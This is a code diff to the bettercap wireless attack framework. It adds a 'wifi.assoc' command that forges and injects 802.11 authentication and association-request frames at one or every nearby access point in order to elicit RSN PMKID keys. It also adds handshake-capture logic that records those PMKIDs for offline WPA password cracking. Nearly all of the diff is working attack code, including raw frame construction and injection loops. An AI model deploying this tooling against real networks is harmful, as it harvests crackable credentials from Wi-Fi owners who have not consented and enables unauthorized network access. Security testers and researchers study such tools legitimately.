diff --git a/modules/wifi.go b/modules/wifi.go index bd166431..621d64fa 100644 --- a/modules/wifi.go +++ b/modules/wifi.go @@ -37,6 +37,9 @@ type WiFiModule struct { deauthSkip []net.HardwareAddr deauthSilent bool deauthOpen bool + assocSkip []net.HardwareAddr + assocSilent bool + assocOpen bool shakesFile string apRunning bool apConfig packets.Dot11ApConfig @@ -57,6 +60,10 @@ func NewWiFiModule(s *session.Session) *WiFiModule { apRunning: false, deauthSkip: []net.HardwareAddr{}, deauthSilent: false, + deauthOpen: false, + assocSkip: []net.HardwareAddr{}, + assocSilent: false, + assocOpen: false, writes: &sync.WaitGroup{}, reads: &sync.WaitGroup{}, chanLock: &sync.Mutex{}, @@ -123,6 +130,32 @@ func NewWiFiModule(s *session.Session) *WiFiModule { "true", "Send wifi deauth packets to open networks.")) + w.AddHandler(session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`, + "Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.", + func(args []string) error { + if args[0] == "all" || args[0] == "*" { + args[0] = "ff:ff:ff:ff:ff:ff" + } + bssid, err := net.ParseMAC(args[0]) + if err != nil { + return err + } + return w.startAssoc(bssid) + })) + + w.AddParam(session.NewStringParameter("wifi.assoc.skip", + "", + "", + "Comma separated list of BSSID to skip while sending association requests.")) + + w.AddParam(session.NewBoolParameter("wifi.assoc.silent", + "false", + "If true, messages from wifi.assoc will be suppressed.")) + + w.AddParam(session.NewBoolParameter("wifi.assoc.open", + "false", + "Send association requests to open networks.")) + w.AddHandler(session.NewModuleHandler("wifi.ap", "", "Inject fake management beacons in order to create a rogue access point.", func(args []string) error { @@ -228,7 +261,7 @@ func (w WiFiModule) Description() string { } func (w WiFiModule) Author() string { - return "Gianluca Braga && Simone Margaritelli >" + return "Simone Margaritelli && Gianluca Braga " } const ( diff --git a/modules/wifi_assoc.go b/modules/wifi_assoc.go new file mode 100644 index 00000000..f75590cc --- /dev/null +++ b/modules/wifi_assoc.go @@ -0,0 +1,130 @@ +package modules + +import ( + "bytes" + "fmt" + "net" + "sort" + + "github.com/bettercap/bettercap/log" + "github.com/bettercap/bettercap/network" + "github.com/bettercap/bettercap/packets" +) + +func (w *WiFiModule) sendAssocPacket(ap *network.AccessPoint) { + if err, pkt := packets.NewDot11Auth(w.Session.Interface.HW, ap.HW, 1); err != nil { + log.Error("cloud not create auth packet: %s", err) + // continue + } else { + w.injectPacket(pkt) + } + + // for seq := uint16(0); seq < 3 && w.Running(); seq++ { + if err, pkt := packets.NewDot11AssociationRequest(w.Session.Interface.HW, ap.HW, ap.ESSID(), 1); err != nil { + log.Error("cloud not create association request packet: %s", err) + // continue + } else { + w.injectPacket(pkt) + } + // } +} + +func (w *WiFiModule) skipAssoc(to net.HardwareAddr) bool { + for _, mac := range w.assocSkip { + if bytes.Equal(to, mac) { + return true + } + } + return false +} + +func (w *WiFiModule) isAssocSilent() bool { + if err, is := w.BoolParam("wifi.assoc.silent"); err != nil { + log.Warning("%v", err) + } else { + w.assocSilent = is + } + return w.assocSilent +} + +func (w *WiFiModule) doAssocOpen() bool { + if err, is := w.BoolParam("wifi.assoc.open"); err != nil { + log.Warning("%v", err) + } else { + w.assocOpen = is + } + return w.assocOpen +} + +func (w *WiFiModule) startAssoc(to net.HardwareAddr) error { + // parse skip list + if err, assocSkip := w.StringParam("wifi.assoc.skip"); err != nil { + return err + } else if macs, err := network.ParseMACs(assocSkip); err != nil { + return err + } else { + w.assocSkip = macs + } + + // if not already running, temporarily enable the pcap handle + // for packet injection + if !w.Running() { + if err := w.Configure(); err != nil { + return err + } + defer w.handle.Close() + } + + toAssoc := make([]*network.AccessPoint, 0) + isBcast := network.IsBroadcastMac(to) + for _, ap := range w.Session.WiFi.List() { + if isBcast || bytes.Equal(ap.HW, to) { + if !w.skipAssoc(ap.HW) { + toAssoc = append(toAssoc, ap) + } else { + log.Debug("skipping ap:%v because skip list %v", ap, w.assocSkip) + } + } + } + + if len(toAssoc) == 0 { + if isBcast { + return nil + } + return fmt.Errorf("%s is an unknown BSSID or it is in the association skip list.", to.String()) + } + + go func() { + w.writes.Add(1) + defer w.writes.Done() + + // since we need to change the wifi adapter channel for each + // association request, let's sort by channel so we do the minimum + // amount of hops possible + sort.Slice(toAssoc, func(i, j int) bool { + return toAssoc[i].Channel() < toAssoc[j].Channel() + }) + + // send the association request frames + for _, ap := range toAssoc { + if w.Running() { + logger := log.Info + if w.isAssocSilent() { + logger = log.Debug + } + + if ap.IsOpen() && !w.doAssocOpen() { + log.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID()) + } else { + logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel(), ap.Encryption) + + w.onChannel(ap.Channel(), func() { + w.sendAssocPacket(ap) + }) + } + } + } + }() + + return nil +} diff --git a/modules/wifi_recon.go b/modules/wifi_recon.go index 80c45304..f84e0de7 100644 --- a/modules/wifi_recon.go +++ b/modules/wifi_recon.go @@ -156,11 +156,25 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers apMac = dot11.Address1 } - if station, found := w.Session.WiFi.GetClient(staMac.String()); found { - // ref. https://hashcat.net/forum/thread-7717.html - rawPMKID := []byte(nil) + ap, found := w.Session.WiFi.Get(apMac.String()) + if !found { + log.Warning("could not find AP with BSSID %s", apMac.String()) + return + } - // ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/ + station := (*network.Station)(nil) + staIsUs := bytes.Equal(staMac, w.Session.Interface.HW) + if staIsUs { + // add a fake station + station, _ = ap.AddClientIfNew(staMac.String(), ap.Frequency, ap.RSSI) + found = true + } else { + station, found = ap.Get(staMac.String()) + } + + // ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/ + if found { + rawPMKID := []byte(nil) if !key.Install && key.KeyACK && !key.KeyMIC { // [1] (ACK) AP is sending ANonce to the client log.Debug("[%s] got frame 1/4 of the %s <-> %s handshake (anonce:%x)", @@ -168,6 +182,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers apMac, staMac, key.Nonce) + // ref. https://hashcat.net/forum/thread-7717.html rawPMKID = station.Handshake.AddAndGetPMKID(packet) } else if !key.Install && !key.KeyACK && key.KeyMIC && !allZeros(key.Nonce) { // [2] (MIC) client is sending SNonce+MIC to the API @@ -206,6 +221,7 @@ func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers PMKID: rawPMKID, }) } + } else { log.Warning("EAPOL captured for unknown station %s", staMac.String()) } diff --git a/modules/wifi_show.go b/modules/wifi_show.go index 6220194e..a9276b0b 100644 --- a/modules/wifi_show.go +++ b/modules/wifi_show.go @@ -58,7 +58,7 @@ func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) { // this is ugly, but necessary in order to have this // method handle both access point and clients // transparently - if ap, found := w.Session.WiFi.Get(station.HwAddress); found && ap.HasHandshakes() { + if ap, found := w.Session.WiFi.Get(station.HwAddress); found && (ap.HasHandshakes() || ap.HasPMKID()) { encryption = tui.Red(encryption) } } diff --git a/network/wifi_ap.go b/network/wifi_ap.go index c0be557d..7763c10c 100644 --- a/network/wifi_ap.go +++ b/network/wifi_ap.go @@ -124,3 +124,16 @@ func (ap *AccessPoint) NumHandshakes() int { func (ap *AccessPoint) HasHandshakes() bool { return ap.NumHandshakes() > 0 } + +func (ap *AccessPoint) HasPMKID() bool { + ap.Lock() + defer ap.Unlock() + + for _, c := range ap.clients { + if c.Handshake.HasPMKID() { + return true + } + } + + return false +} diff --git a/network/wifi_handshake.go b/network/wifi_handshake.go index e641b1fe..0075ee2c 100644 --- a/network/wifi_handshake.go +++ b/network/wifi_handshake.go @@ -14,6 +14,7 @@ type Handshake struct { Challenges []gopacket.Packet Responses []gopacket.Packet Confirmations []gopacket.Packet + hasPMKID bool unsaved []gopacket.Packet } @@ -49,6 +50,9 @@ func (h *Handshake) AddAndGetPMKID(pkt gopacket.Packet) []byte { if prevWasKey && layer.LayerType() == layers.LayerTypeDot11InformationElement { info := layer.(*layers.Dot11InformationElement) if info.ID == layers.Dot11InformationElementIDVendor && info.Length == 20 { + h.Lock() + defer h.Unlock() + h.hasPMKID = true return info.Info } } @@ -86,6 +90,12 @@ func (h *Handshake) Complete() bool { return nChal > 0 && nResp > 0 && nConf > 0 } +func (h *Handshake) HasPMKID() bool { + h.Lock() + defer h.Unlock() + return h.hasPMKID +} + func (h *Handshake) NumUnsaved() int { h.Lock() defer h.Unlock() diff --git a/packets/dot11.go b/packets/dot11.go index dab9d20a..e35a1264 100644 --- a/packets/dot11.go +++ b/packets/dot11.go @@ -97,6 +97,77 @@ func NewDot11Deauth(a1 net.HardwareAddr, a2 net.HardwareAddr, a3 net.HardwareAdd ) } +func NewDot11Auth(sta net.HardwareAddr, apBSSID net.HardwareAddr, seq uint16) (error, []byte) { + return Serialize( + &layers.RadioTap{}, + &layers.Dot11{ + Address1: apBSSID, + Address2: sta, + Address3: apBSSID, + Type: layers.Dot11TypeMgmtAuthentication, + SequenceNumber: seq, + FragmentNumber: 0, + DurationID: 0x013a, + }, + &layers.Dot11MgmtAuthentication{ + Algorithm: layers.Dot11AlgorithmOpen, + Sequence: 1, + Status: layers.Dot11StatusSuccess, + }, + ) +} + +func NewDot11AssociationRequest(sta net.HardwareAddr, apBSSID net.HardwareAddr, apESSID string, seq uint16) (error, []byte) { + return Serialize( + &layers.RadioTap{}, + &layers.Dot11{ + Address1: apBSSID, + Address2: sta, + Address3: apBSSID, + Type: layers.Dot11TypeMgmtAssociationReq, + SequenceNumber: seq, + FragmentNumber: 0, + DurationID: 0x013a, + }, + // as seen on wireshark ... + &layers.Dot11MgmtAssociationReq{ + CapabilityInfo: 0x0411, + ListenInterval: 3, + }, + &layers.Dot11InformationElement{ + ID: layers.Dot11InformationElementIDSSID, + Length: uint8(len(apESSID) & 0xff), + Info: []byte(apESSID), + }, + &layers.Dot11InformationElement{ + ID: layers.Dot11InformationElementIDRates, + Length: 8, + Info: []byte{0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c}, + }, + &layers.Dot11InformationElement{ + ID: layers.Dot11InformationElementIDESRates, + Length: 4, + Info: []byte{0x0C, 0x12, 0x18, 0x60}, + }, + &layers.Dot11InformationElement{ + ID: layers.Dot11InformationElementIDRSNInfo, + Length: 20, + Info: []byte{0x01, 0x00, 0x00, 0x0F, 0xAC, 0x04, 0x01, 0x00, 0x00, 0x0F, 0xAC, 0x04, 0x01, 0x00, 0x00, 0x0F, 0xAC, 0x02, 0x8C, 0x00}, + }, + &layers.Dot11InformationElement{ + ID: layers.Dot11InformationElementIDHTCapabilities, + Length: 26, + Info: []byte{0x2C, 0x01, 0x03, 0xFF, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, + }, + &layers.Dot11InformationElement{ + ID: layers.Dot11InformationElementIDVendor, + Length: 7, + OUI: []byte{0, 0x50, 0xf2, 0x02}, + Info: []byte{0, 0x01, 0}, + }, + ) +} + func Dot11Parse(packet gopacket.Packet) (ok bool, radiotap *layers.RadioTap, dot11 *layers.Dot11) { ok = false radiotap = nil